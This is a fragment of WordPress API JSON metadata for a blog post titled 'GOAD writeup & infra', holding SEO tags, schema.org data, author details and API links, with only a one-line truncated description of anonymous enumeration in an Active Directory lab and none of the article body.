/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"GOAD writeup &amp; infra\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#website\",\"url\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/\",\"name\":\"my article\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/f697887c7eea19b57c04d0a2bb4d9411\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-TW\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/#\\\/schema\\\/person\\\/f697887c7eea19b57c04d0a2bb4d9411\",\"name\":\"chengyunpu\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-TW\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g\",\"caption\":\"chengyunpu\"},\"logo\":{\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g\"},\"sameAs\":[\"http:\\\/\\\/chengyunpu.com\\\/wordpress\"],\"url\":\"https:\\\/\\\/chengyunpu.com\\\/wordpress\\\/author\\\/chengyunpu\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"GOAD writeup &amp; infra - my article","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/","og_locale":"zh_TW","og_type":"article","og_title":"GOAD writeup &amp; infra - my article","og_description":"GOAD-Light \u533f\u540d\u679a\u8209\u9019\u5169\u500b d [&hellip;]","og_url":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/","og_site_name":"my article","article_published_time":"2026-08-13T06:17:06+00:00","article_modified_time":"2026-09-18T05:35:21+00:00","og_image":[{"width":813,"height":285,"url":"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png","type":"image\/png"}],"author":"chengyunpu","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005:":"chengyunpu","\u9810\u4f30\u95b1\u8b80\u6642\u9593":"3 \u5206\u9418"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#article","isPartOf":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/"},"author":{"name":"chengyunpu","@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411"},"headline":"GOAD writeup &amp; infra","datePublished":"2026-08-13T06:17:06+00:00","dateModified":"2026-09-18T05:35:21+00:00","mainEntityOfPage":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/"},"wordCount":201,"commentCount":0,"publisher":{"@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411"},"image":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#primaryimage"},"thumbnailUrl":"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png","inLanguage":"zh-TW","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/","url":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/","name":"GOAD writeup &amp; infra - my article","isPartOf":{"@id":"https:\/\/chengyunpu.com\/wordpress\/#website"},"primaryImageOfPage":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#primaryimage"},"image":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#primaryimage"},"thumbnailUrl":"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png","datePublished":"2026-08-13T06:17:06+00:00","dateModified":"2026-09-18T05:35:21+00:00","breadcrumb":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#breadcrumb"},"inLanguage":"zh-TW","potentialAction":[{"@type":"ReadAction","target":["https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/"]}]},{"@type":"ImageObject","inLanguage":"zh-TW","@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#primaryimage","url":"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png","contentUrl":"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-3.png","width":813,"height":285},{"@type":"BreadcrumbList","@id":"https:\/\/chengyunpu.com\/wordpress\/2026\/08\/13\/goad-writeup-infra\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9801","item":"https:\/\/chengyunpu.com\/wordpress\/"},{"@type":"ListItem","position":2,"name":"GOAD writeup &amp; infra"}]},{"@type":"WebSite","@id":"https:\/\/chengyunpu.com\/wordpress\/#website","url":"https:\/\/chengyunpu.com\/wordpress\/","name":"my article","description":"","publisher":{"@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/chengyunpu.com\/wordpress\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-TW"},{"@type":["Person","Organization"],"@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411","name":"chengyunpu","image":{"@type":"ImageObject","inLanguage":"zh-TW","@id":"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g","caption":"chengyunpu"},"logo":{"@id":"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g"},"sameAs":["http:\/\/chengyunpu.com\/wordpress"],"url":"https:\/\/chengyunpu.com\/wordpress\/author\/chengyunpu\/"}]}},"_links":{"self":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts\/766","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/comments?post=766"}],"version-history":[{"count":41,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts\/766\/revisions"}],"predecessor-version":[{"id":833,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts\/766\/revisions\/833"}],"wp:attachment":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/media?parent=766"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/categories?post=766"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/tags?post=766"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}